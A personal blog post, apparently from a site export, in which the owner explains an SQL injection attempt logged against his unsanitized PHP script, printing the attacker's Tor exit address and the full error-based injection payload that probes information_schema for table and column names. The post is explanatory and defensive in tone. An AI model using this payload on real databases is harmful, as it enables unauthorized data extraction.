This is just for really geeky people. Last Friday, someone tried an SQL injection attack in the server to break into it – I’m sure the NSA is way too busy to care about me. The basic idea is you look for a poorly written Php script that takes user input and directly use it without “sanitizing” the data – the attacker tries to add extra SQL “stuff” at the end, initially to get the database to give up the format of its tables, and then to give up the data in those tables. The way I’ve done things, all that happens is I get an email showing me the attempted attack.<\/p>\n
So for your viewing pleasure:<\/p>\n
IP Address: 199.48.147.37
\nRemote Host: tor-exit-router37-readme.formlessnetworking.net<\/p>\n
SQL Statement:<\/p>\n
Select *,app_party.title as atitle from app_party
\ninner join party on app_party.party_id = party.party_id
\ninner join party_type on relation = party_type.party_role
\nwhere application_id = 1519855<\/p>\n
This is where my unsafe script intended for this query to end – because I didn’t sanitize the application ID, they stuck in ths extra “stuff”<\/p>\n
and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from `information_schema`.columns where table_schema=0x776F72647072657373 and table_name=0x726164696F636861745F636F6D6D656E746D657461 limit 3,1)) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1 order by seq<\/p>\n
It’s always something.<\/p>\n
Poking around, this is a TOR exit point, which until recently I had banned – TOR is an anonymizer network run to allow people to do things like this that can’t be tracked back to the origin.<\/p>\n","protected":false},"excerpt":{"rendered":"
This is just for really geeky people. Last Friday, someone tried an SQL injection attack in the server to break into it – I’m sure the NSA is way too busy to care about me. The basic idea is you … Continue reading